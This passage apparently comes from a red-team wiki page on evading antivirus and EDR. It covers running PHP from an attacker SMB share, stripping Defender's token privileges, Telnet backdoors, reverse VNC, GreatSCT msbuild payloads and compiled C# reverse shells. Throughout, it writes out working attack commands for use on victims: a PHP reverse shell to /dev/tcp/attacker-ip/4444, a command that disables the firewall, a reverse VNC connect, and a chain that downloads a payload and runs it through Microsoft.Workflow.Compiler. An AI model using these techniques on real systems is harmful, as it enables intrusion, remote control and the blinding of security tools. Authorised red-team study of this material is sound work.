  • πŸ›‘οΈ AV is tuned to catch common tools like PowerShell, mshta, rundll32, etc.

  • 🧠 By using less common interpreters (like Go, Java, or PHP), you’re operating outside of the usual detection patterns.

  • ⚠️ While Microsoft Defender may still scan the script content in some cases, testing shows that even plain reverse shells written in these languages often execute successfully, especially when:

    • They are not obfuscated

    • Run from memory via SMB

    • Use custom or rarely used interpreters

Example

Let’s say you have a simple reverse shell written in PHP like this:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'"); ?>

On the victim machine, you can run:

\\attacker-ip\share\php.exe \\attacker-ip\share\shell.php

This:

  • Doesn’t require PHP to be installed

  • Avoids dropping anything locally

  • Runs entirely from your attacker-controlled SMB share

  • Slips past many signature-based AV tools

πŸ” Pro Tips

  • Use uncommon versions of interpreters (e.g., old Go or Java runtimes) to avoid hash-based detection.

  • Digitally sign the binaries if you're testing in a real-world red team engagement.

  • Combine with network-level encryption (like SMB over TLS) for better OPSEC.

  • Always test with different AVs β€” some may flag interpreter behavior, but many will not.


Token Stomping

Token Stomping is a lesser-known but powerful technique used to disable or cripple antivirus (AV) and EDR products without actually killing their processes. Unlike traditional process-killing attacks (which are loud and often trigger alerts), token stomping takes a stealthier approach β€” by stripping away the security product’s ability to do its job.

Let’s break it down in a simple way:

🧠 What Are Access Tokens?

In Windows, every process runs with a security token β€” a structure that contains information about:

  • The user account

  • Assigned privileges

  • Group memberships

  • Permissions to access system resources

These tokens are critical for enforcing security boundaries.

πŸ›‘οΈ Security tools like Defender and EDRs rely on their tokens to:

  • Access memory of other processes

  • Scan files

  • Monitor network traffic

  • Hook into system APIs

If you strip privileges from their token, the process is still alive β€” but can no longer monitor your actions.

βš”οΈ What is Token Stomping?

Token Stomping involves modifying or overwriting the security token of a target process (like Defender or an EDR agent) to reduce its privileges. This makes the process effectively blind, while avoiding the aggressive behavior detections that would trigger if you killed it outright.

Instead of terminating Defender or the EDR agent (which is noisy), you silently neuter it.

πŸ”§ How It's Done

The basic steps look like this:

  1. 🧱 Obtain a handle to the target process (e.g., MsMpEng.exe, the Defender engine)

  2. πŸ” Open its access token using OpenProcessToken()

  3. βœ‚οΈ Strip or replace token privileges

    • You can remove things like SeDebugPrivilege, SeLoadDriverPrivilege, etc.

    • This prevents the security process from attaching to or scanning other processes

  4. βœ… The process stays alive β€” but can no longer interact with protected memory, drivers, or advanced system features.

Tools That Implement Token Stomping

Here are real-world tools that use or demonstrate this technique:

  • πŸ”¨ KillDefender A C++ PoC that removes Defender’s ability to scan and act by manipulating tokens.

  • 🧬 TokenStomp Allows you to "stomp" a token and replace it with another β€” often used to clone and hijack privileges from a different process.

  • 🧩 TokenStripBOF A Cobalt Strike Beacon Object File that removes dangerous privileges from tokens at runtime, effectively blinding EDRs.


Old But Gold: Legacy AV Evasion Techniques That Still Work (Sometimes)

While modern AV and EDR solutions have grown smarter, some older techniques continue to work in certain environments β€” especially on outdated systems or poorly configured networks. This section covers legacy but useful tricks to bypass antivirus detection, execute payloads, and maintain persistence. Use them wisely β€” they’re noisy, but still relevant in real-world red teaming.


πŸ”¬ Identify What Triggers Defender: ThreatCheck & AVRed

Before wasting time rebuilding your payload, you can pinpoint what Defender is detecting. These tools help isolate the exact malicious portion:

  • πŸ” ThreatCheck: Automatically removes chunks of your binary until the flagged segment is identified.

  • 🌐 AVRed: Web-based utility that lets you test scripts or files to see what’s being detected and why.

πŸ’‘ Ideal for testing obfuscation, shellcode, or compiled payloads before final delivery.


πŸ“‘ Telnet Server Abuse (Windows 7–10)

Before PowerShell became the go-to for scripting, attackers used Telnet Server for backdoors. This technique works only on older Windows versions (pre-Windows 10) and still appears in legacy systems.

Install Telnet Server and configure it:

pkgmgr /iu:"TelnetServer" /quiet
sc config TlntSVR start= auto obj= localsystem
tlntadmn config port=80
netsh advfirewall set allprofiles state off

⚠️ Mostly obsolete, but still works in older internal networks or OT devices.


πŸ–₯️ UltraVNC for Reverse VNC Connections

UltraVNC is a legit remote desktop tool that supports reverse connections β€” a feature that can be abused for stealthy remote access.

Setup:

  1. Download winvnc.exe and configure it:

    • Disable TrayIcon

    • Set VNC and View-Only passwords

  2. Transfer both winvnc.exe and UltraVNC.ini to the target

  3. On your machine:

    vncviewer.exe -listen 5900
  4. On the victim:

    winvnc.exe -run -autoreconnect -connect <attacker_ip>::5900

πŸ•΅οΈ Stealth Tips:

  • Don’t launch it twice (triggers a popup)

  • Ensure the .ini file is present

  • Never run it without config, or it’ll open a visible GUI


πŸ’‰ GreatSCT Payload Generation

GreatSCT is a tool for generating AV-evasive payloads, mainly using msbuild.exe execution.

Install and generate:

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

Generate a payload:

use 1
list
use 9
set lhost 10.10.14.0
set lport 4444
generate

Then execute it on target:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

❌ This may be detected immediately by Defender in modern environments. Combine it with AMSI and ETW patching for better results.


πŸ› οΈ Building Your Own Reverse Shell

Compiling your own payloads is one of the most effective ways to bypass signature-based detection.

🧬 C# Reverse Shell (Example by BankSecurity)

Compile it with:

csc.exe /t:exe /out:back2.exe Back1.cs

Run it:

back2.exe <attacker_ip> <port>

πŸ“„ Example Source: https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc


πŸ“¦ Automated Shell Execution with Compiler

Use .NET compilers to compile and run payloads at runtime:

Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

Example:

# 64-bit
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/.../REV.txt', '.\REV.txt') }"
...
Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

πŸ“š Source: BankSecurity’s workflow compiler guide


πŸ” Obfuscation Tools (C#, .NET, C++)

Basic obfuscation can help evade static analysis. Use these tools to hide logic, encrypt strings, or morph control flow:

For C++:

sudo apt install mingw-w64
i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -static-libstdc++ -static-libgcc

Last updated

Was this helpful?